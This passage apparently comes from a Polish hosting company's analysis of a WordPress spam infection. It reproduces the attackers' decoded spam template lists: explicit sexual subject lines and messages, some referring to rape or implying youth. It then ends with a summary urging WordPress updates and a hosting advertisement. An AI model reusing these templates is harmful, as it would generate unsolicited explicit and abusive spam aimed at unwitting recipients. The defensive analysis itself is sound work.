            [1] => "XXXX" <XXXX@lovehits.com>
        )
    [ak] => 17271a63-10cb-4be2-a4ce-09597050a625
    [lt] => 1
    [l] =>
{

||
} {|

|
|Hello sweetie, I want to have some fun in my bedroom with you|Hi, What do you like to get pleasured?|Hi babe, you got a sexy body!|Whats up boy, do you wanna get some nasty girl?|Hey there, I am a very horny girl. Would you like to come over?|Hey sweet, I will be whoever you want me to|Hello there, can you help me to fulfill my sexual desires?|I have something you would like to touch|I desire to have some wet night!|Hot babe is looking for a shy guy|Hi, would you like to talk to me about sex?|Hey! I have some wet thing needed to be penetrated right now!|I wish to realize all of your sex fantasies|I need to you to fix something in my panties|Come and make my holes wider!|I am looking for a cute sex lover|Come to my house of pleasure right now|I have just turned 18 and I am looking for a mature instructor|Hey! I am a horny girl needed to get some hard stuff|Wanna get an ocean of pleasure?|I’m gonna explode, if nobody f@cks me tonight|I have something wet and waxy for you|I need just one night and your cock|Hi, do you want to have some quickie?|Come and fill me with you love|A horny Latina chick wants to get a huge dildo tonight|If you text me back right now I will show you what you would like to touch} {|
|

} {|

|
|I need a married guy who hasn’t had a good f@ck for a long time|Me and my best friend would like to suck one c@ck|I want a big black guy right now!|Need a sex in my office|It’s extremely urgent to get some sex for me|I need a passionate mature man|A horny MILF need some college boys to get laid|I am gonna suck you off for the whole night|You will be able to touch me wherever you desire to|Two hot sluts need a good bang|I will make you to cum on my wobbly booty|I want to swallow your warm jizz|I want you to eat my pussy slowly|My goal is to make you end|I’ve never been f@cked properly, can you give me a favor and fulfill my dream?|I am a married horny woman whose husband is not able to use his c@ck|My BF is in military currently, and I need some thick c@ck|I had sex only once in my life and I want more!|All of my sex partners were failure, help me!|I want to give you a head|I am a tired mother who needs a good f@ck|Need your d@ck right now|Need some mature man to take my virginity|Need a big c@ck for a hungry P@ssy|Wanna take your d@ck and fill my mouth with it|Come and get me while my husband is working|My p@ssy is so lonely currently|I want you to be inside me as deep as you can|Want to blow somebody in the shower|My a$$hole is seeking for some pleasure|I will blow you in the movie theatre|I have been lonely to long|Need a large dildo|I want you to c+m in my naughty mouth} {
|

|} {|

|
|We will try all poses|Your c@ck will be blown up|The bed will break after our se+|Nice ginger hair and big bubbly boobs|Will give you the best handjob ever|I will let you to taste me wherever you would like to|Some jizz would be so pleasurable right now|Some hot blonde girl need a horny man|My deep p@ssy will impress you a lot|I am you pleasure source|Naughty bitch needs to be accused in the a$$|Come and be inside of me|I want you to dive in my soul as deep as it is possible|A slutty woman wants to be hooked up with a couple of young guys|Just undress me and will be yours|I know how to give a pleasant massage|My virgin shaved pussy is all yours|I got wet while I was thinking about your c@ck|There is some moist in my panties currently|We will start on the table at first|I am going to swallow your swollen nuts|My body is getting wet|I can’t stop thinking about that huge thing in your pants|At first we are going to do some butt stuff|I was a bad girl|Just one night, and you will never forget it|Take me right on the couch|I am a nymphomaniac|Giving a pleasure is the purpose of my life|We will do it in a trunk|Come and rape me in my holes} {
||

|} {My profile pictures are all for you|How do you like my body?|Do you think my boobs big enough?|Check out my best pictures|Do you want to see me undressed?|My tits are so bumped on the picture|I want you to glance through my portfolio and assess my naked body|Check out my boobies|That butt on the picture is needed to be f()cked|I hope you like my pictures|View my hot body here|Watch my images and you will understand how horny I am|Look through my pics and f@ck me|If you come to me, I will show you more than just pictures|My portfolio contains the hottest images|I have a lot of secret pictures for you|See my profile, and you will never refuse to bang me|The butt on a picture wants to be spanked|I’ll show you my dirty photos} {

|
|} {|

|
|Text me tonight|Don’t forget me|I am going to be horny the whole day without you|Lonely again…|If I was close, I would sucked your d@ck instead of saying goodbye|You are better to hurry|See you later|I am waiting for you honey|Either you rape me, or I come over and suck you off right now|Bye cutie|It was a pleasure sexting with you|Hope to see you again|Come to my house I want to say thank you in a special way|Chatting with you was better than sex with my husband|Hope you liked my horny stories |I bet you will miss me} {|

|
} [s] => Array ( [0] => Two girls one boy [1] => Stranger has sent you a quickie request ) )

Podsumowanie

Każdego dnia zmagamy się z atakami, które są przeprowadzane na aplikacje naszych użytkowników. Jako pierwsi w Polsce opisujemy sposób infekcji oraz pełną analizę wektora ataku. Udało nam się również skutecznie zabezpieczyć przed próbami tego ataku na aplikacje naszych klientów. W efekcie spadła ilość spamu wysyłanego przy użyciu tej podatności co ma korzystny wpływ na reputacje domen klientów z których wychodził spam oraz ochronę przed trafianiem domen i naszych serwerów hostingowych na blacklisty. Należy zwrócić uwagę na to, że ataki są coraz bardziej wyrafinowane i trudniejsze do wykrycia. Wszystkich użytkowników Wordpressa uczulamy na posiadanie aktualnej wersji aplikacji oraz wtyczek.

Dodatkowo polecamy też zapoznać się jak zabezpieczyć Wordpressa przed atakami typu Brute Force

Dla kont hostingowych (cPanel) Tutaj

Dla serwerów z DirectAdmin Tutaj

Hosting z dyskami SSD

Szukasz szybkiego hostingu z dyskami SSD? Dobrze trafiłeś.

Pakiety hostingowe Kylos to sprawdzone i niezawodne rozwiązanie dla Twojej strony.

Darmowy okres próbny pozwoli Ci sprawdzić naszą ofertę, bez ponoszenia kosztów.

 

Sprawdź nas

Mogą Cię również zainteresować

comments powered by Disqus